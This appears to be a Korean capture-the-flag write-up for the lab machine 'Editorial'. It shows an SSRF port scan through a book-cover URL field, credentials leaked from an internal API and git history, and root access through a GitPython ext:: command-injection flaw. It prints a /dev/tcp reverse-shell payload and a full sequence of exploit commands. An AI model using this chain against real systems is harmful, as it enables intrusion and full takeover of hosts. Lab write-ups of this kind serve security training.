Proof of Concept
10.129.8.66
Nmap
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpInitial Access
80 포트 웹서비스 접속 시 http://editorial.htb로 리다이렉트 됨
┌──(kali㉿kali)-[~/Editorial]
└─$ sudo nmap 10.129.8.66 --open --min-rate 3000 -oN scan -sCV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-01 17:03 -0500
Nmap scan report for 10.nate.com (10.129.8.66)
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel/etc/hosts 파일 설정
┌──(kali㉿kali)-[~/Editorial]
└─$ cat /etc/hosts
<SNIP
10.129.8.66 editorial.htb웹 디렉토리 스캔
- upload 경로 발견
┌──(kali㉿kali)-[~/Editorial]
└─$ feroxbuster -u http://editorial.htb -s 200 -t 100 -o feroxbuster.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://editorial.htb/
🚩 In-Scope Url │ editorial.htb
🚀 Threads │ 100
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💾 Output File │ feroxbuster.txt
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 210l 537w 7140c http://editorial.htb/upload
200 GET 72l 232w 2939c http://editorial.htb/about
200 GET 81l 467w 28535c http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
200 GET 7l 2189w 194901c http://editorial.htb/static/css/bootstrap.min.css
200 GET 4780l 27457w 2300540c http://editorial.htb/static/images/pexels-min-an-694740.jpg
200 GET 177l 589w 8577c http://editorial.htb/
200 GET 9627l 58065w 4215059c http://editorial.htb/static/images/pexels-janko-ferlic-590493.jpg
[####################] - 81s 30013/30013 0s found:7 errors:1
[####################] - 81s 30000/30000 370/s http://editorial.htb/ upload 페이지에서 Book information에 URL 입력 시 해당 URL로 요청을 보내는 것을 확인
- request
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 16080
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1CEL35ry1u0AbZEw
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundary1CEL35ry1u0AbZEw
Content-Disposition: form-data; name="bookurl"
http://10.10.14.17:4444
<SNIP>- response
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 01 Feb 2026 15:28:24 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 61
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg- kali linux
┌──(kali㉿kali)-[~/Editorial]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.17] from (UNKNOWN) [10.129.8.66] 42958
GET / HTTP/1.1
Host: 10.10.14.17:4444
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive내부에 열린 포트가 있는지 확인하기 위해 SSRF를 이용하여 1~65535포트에 대해 퍼징 수행했으며, 5000번 포트를 결과값으로 받음
┌──(kali㉿kali)-[~/Editorial]
└─$ cat request.txt
POST http://editorial.htb/upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 312
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1CEL35ry1u0AbZEw
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundary1CEL35ry1u0AbZEw
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
------WebKitFormBoundary1CEL35ry1u0AbZEw
Content-Disposition: form-data; name="bookfile"; filename="burp.json"
Content-Type: application/json
test
------WebKitFormBoundary1CEL35ry1u0AbZEw--
┌──(kali㉿kali)-[~/Editorial]
└─$ ffuf -request request.txt -w <(seq 1 65535) -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /proc/self/fd/11
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
:: Header : Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1CEL35ry1u0AbZEw
:: Header : Origin: http://editorial.htb
:: Header : Connection: keep-alive
:: Header : Host: editorial.htb
:: Header : Accept-Language: en-US,en;q=0.9
:: Header : Accept: */*
:: Header : Referer: http://editorial.htb/upload
:: Header : Accept-Encoding: gzip, deflate, br
:: Data : ------WebKitFormBoundary1CEL35ry1u0AbZEw
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
------WebKitFormBoundary1CEL35ry1u0AbZEw
Content-Disposition: form-data; name="bookfile"; filename="burp.json"
Content-Type: application/json
test
------WebKitFormBoundary1CEL35ry1u0AbZEw--
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 242ms]
:: Progress: [65535/65535] :: Job [1/1] :: 162 req/sec :: Duration: [0:07:19] :: Errors: 1 ::bookurl 파라미터를 http://127.0.0.1:5000로 수정 후 요청을 보내면 특정 주소가 반환됨
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 02 Feb 2026 15:00:13 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 51
static/uploads/089d60c5-d9f9-43f2-83ab-fa29691ef0f4해당 주소로 GET 요청을 보내면 엔드포인트 주소들을 확인할 수 있음
┌──(kali㉿kali)-[~/Editorial]
└─$ curl http://editorial.htb/static/uploads/089d60c5-d9f9-43f2-83ab-fa29691ef0f4
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}해당 엔드포인트들 중에서 “/api/latest/metadata/messages/authors” 접근 시 특정 주소가 반환됨
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 02 Feb 2026 15:13:15 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 51
static/uploads/0ce13618-3e26-4fb9-912d-6f4626202b35해당 주소로 요청을 보낼 경우 응답값에서 아이디/비밀번호 발견 가능
- dev:dev080217_devAPI!@
┌──(kali㉿kali)-[~/Editorial]
└─$ curl http://editorial.htb/static/uploads/0ce13618-3e26-4fb9-912d-6f4626202b35
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}해당 계정 정보로 SSH 접속 성공
┌──(kali㉿kali)-[~/Editorial]
└─$ sshpass -p 'dev080217_devAPI!@' ssh dev@10.129.9.122
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Feb 2 03:15:18 PM UTC 2026
System load: 0.0
Usage of /: 61.4% of 6.35GB
Memory usage: 12%
Swap usage: 0%
Processes: 225
Users logged in: 0
IPv4 address for eth0: 10.129.9.122
IPv6 address for eth0: dead:beef::250:56ff:feb0:68bb
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$Read user.txt
dev@editorial:~$ cat user.txt
116214e67c4d8fcc4cfb135198cf476b
dev@editorial:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.129.9.122 netmask 255.255.0.0 broadcast 10.129.255.255
inet6 dead:beef::250:56ff:feb0:68bb prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb0:68bb prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b0:68:bb txqueuelen 1000 (Ethernet)
RX packets 203442 bytes 70344158 (70.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 163736 bytes 33504621 (33.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 157892 bytes 8002408 (8.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 157892 bytes 8002408 (8.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Privilege Escalation
~/apps 디렉토리에서 .git 디렉토리 발견
dev@editorial:~$ ls
apps user.txt
dev@editorial:~$ cd apps
dev@editorial:~/apps$ ls -al
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 2024 .
drwxr-x--- 5 dev dev 4096 Feb 2 15:19 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 2024 .gitGit 커밋 내역에서 prod 계정 비밀번호 발견
- prod:080217_Producti0n_2023!@
dev@editorial:~/apps$ git log
<SNIP>
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
<snip>
dev@editorial:~/apps$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..3373b14 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
}) # TODO: replace dev credentials when checks pass
# -------------------------------prod 계정으로 SSH 접속 성공
┌──(kali㉿kali)-[~/Editorial]
└─$ sshpass -p '080217_Producti0n_2023!@' ssh prod@10.129.9.122
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Feb 2 03:41:20 PM UTC 2026
System load: 0.0
Usage of /: 60.9% of 6.35GB
Memory usage: 18%
Swap usage: 0%
Processes: 230
Users logged in: 1
IPv4 address for eth0: 10.129.9.122
IPv6 address for eth0: dead:beef::250:56ff:feb0:68bb
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
prod@editorial:~$prod 사용자가 sudo로 clone_prod_change.py 파이썬 스크립트를 실행할 수 있는 것을 확인
prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *clone_prod_change.py 파일 확인
- 파이썬 Git 라이브러리를 사용하여 레포지토리를 클론하는 코드
prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])gitpython 라이브러리에서 RCE 취약점 발견\
prod@editorial:~$ pip list | grep -i git
<SNIP>
GitPython 3.1.29POC 테스트 결과 명령어가 실행되는 것을 확인
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /home/prod/pwned'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /home/prod/pwned new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -l
total 0
-rw-r--r-- 1 root root 0 Feb 2 16:19 pwned리버스쉘 연결 시도하는 페이로드 작성 후 PoC 실행
prod@editorial:~$ echo "sh -i >& /dev/tcp/10.10.14.17/4444 0>&1" > ex.sh
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /home/prod/ex.sh'리버스쉘 연결 성공
┌──(kali㉿kali)-[~/Editorial]
└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.17] from (UNKNOWN) [10.129.9.122] 33876
#Read root.txt
# cat root.txt
7b4b6f78370b3b0678a0d608cf92699a
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.129.9.122 netmask 255.255.0.0 broadcast 10.129.255.255
inet6 dead:beef::250:56ff:feb0:68bb prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb0:68bb prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b0:68:bb txqueuelen 1000 (Ethernet)
RX packets 224459 bytes 71928725 (71.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 169096 bytes 34333694 (34.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 159660 bytes 8127944 (8.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 159660 bytes 8127944 (8.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0